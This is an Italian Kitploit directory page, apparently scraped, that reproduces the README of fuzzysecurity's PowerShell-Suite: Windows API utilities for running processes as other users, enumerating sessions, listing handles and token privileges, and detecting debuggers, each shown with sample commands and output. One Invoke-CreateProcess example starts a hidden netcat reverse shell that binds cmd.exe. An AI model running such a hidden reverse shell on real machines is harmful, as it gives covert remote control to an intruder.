Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PowerShell-Suite — Le mie riflessioni su PowerShell | Kitploit
Strumenti/GitHubGitHub/fuzzysecurity/powershell-suite
Escalation di PrivilegiMovimento LateraleDebuggerInformatica ForenseRaccolta InformazioniPost-ExploitAnalisi di BinariRed Teaming
GitHubfuzzysecurity/powershell-suite

PowerShell-Suite

Le mie riflessioni su PowerShell

Vedi Repository
2.7k763204 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PowerShell-Suite

Ci sono ottimi strumenti e risorse online per svolgere quasi qualsiasi attività in PowerShell, a volte tuttavia c'è bisogno di creare uno script per uno scopo specifico o per colmare una lacuna ontologica. Questa è una raccolta di utilità PowerShell che ho messo insieme per divertimento o perché avevo in mente un'applicazione specifica.

Di conseguenza, l'utilità che potrete trarne può variare, ma sentitevi liberi di segnalare problemi o di fare fork e adattare!

Windows API

Alcune risorse da consultare sull'accesso alla Windows API da PowerShell:

  • FuzzySecurity: Accesso alla Windows API di basso livello da PowerShell
  • Microsoft TechNet: Usare PowerShell per interagire con la Windows API
  • Exploit Monday: Accesso alla Windows API in PowerShell tramite metodi .NET interni e reflection
  • Exploit Monday: Deep Reflection - Definire struct ed enum in PowerShell

Invoke-Runas

Funzionalmente equivalente a "runas.exe" di Windows, utilizza Advapi32::CreateProcessWithLogonW.``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1

Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2

### Invoke-NetSessionEnum

Usa Netapi32::NetSessionEnum per enumerare le sessioni attive sui computer appartenenti al dominio.```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName

Invoke-CreateProcess

Utilizzare Kernel32::CreateProcess per ottenere un controllo granulare sulla creazione dei processi da PowerShell.``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

### Detect-Debug

Mostra una serie di tecniche per rilevare la presenza di debugger in modalità kernel/utente da PowerShell.```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug

[+] Detect Kernel-Mode Debugging
    [?] SystemKernelDebuggerInformation: False

[+] Detect User-Mode Debugging
    [?] CloseHandle Exception: Detected
    [?] IsDebuggerPresent: Detected
    [?] CheckRemoteDebuggerPresent: Detected
    [?] PEB!BeingDebugged: Detected
    [?] PEB!NtGlobalFlag: Detected
    [?] DebugSelf: Detected

Get-Handles

Usa NtQuerySystemInformation::SystemHandleInformation per ottenere un elenco degli handle aperti nel processo specificato, funziona su x32/x64.``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288

[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer

[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects

PID ObjectType HandleFlags Handle KernelPointer AccessMask


2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...

### Get-TokenPrivs

Aprire un handle a un processo e usare Advapi32::GetTokenInformation per elencare i privilegi associati al token del processo.```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836

[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:

LUID Privilege
---- ---------
  19 SeShutdownPrivilege
  23 SeChangeNotifyPrivilege
  25 SeUndockPrivilege
  33 SeIncreaseWorkingSetPrivilege
  34 SeTimeZonePrivilege

Get-Exports

Get-Exports recupera le esportazioni delle DLL e opzionalmente fornisce un output wrapper in C++ (identico a ExportsToC++ ma senza bisogno di VS e di un binario compilato). Per fare ciò legge i byte della DLL in memoria e poi li analizza (nessun LoadLibraryEx). Grazie a questo puoi analizzare DLL x32/x64 indipendentemente dall'architettura di PowerShell.``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll

[?] 32-bit Image!

[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8

Ordinal ImageRVA FunctionName


  1 0x000242A0 UbpmAcquireJobBackgroundMode
  2 0x00004750 UbpmApiBufferFree
  3 0x00004E30 UbpmCloseTriggerConsumer
  4 0x000135E0 UbpmInitialize
  5 0x00008D00 UbpmOpenTriggerConsumer
  6 0x000242C0 UbpmReleaseJobBackgroundMode
  7 0x00013230 UbpmSessionStateChanged
  8 0x000242E0 UbpmTerminate
  9 0x00003BD0 UbpmTriggerConsumerConfigure
 10 0x000040C0 UbpmTriggerConsumerControl
 11 0x00025B10 UbpmTriggerConsumerControlNotifications
 12 0x00025B40 UbpmTriggerConsumerQueryStatus
 13 0x0000E1B0 UbpmTriggerConsumerRegister
 14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
 15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
 16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation

Usare NtQuerySystemInformation::SystemModuleInformation per ottenere un elenco dei moduli caricati, il loro indirizzo di base e la dimensione (x32/x64).```
PS C:\> Get-SystemModuleInformation

[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects

ImageBase          ImageSize ImageName
---------          --------- ---------
0xFFFFF80314C0D000 0x749000  \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000   \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000    \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000   \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000   \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000   \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000    \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000   \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000   \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000   \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000   \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...

Expose-NetAPI

Scarica lo strumento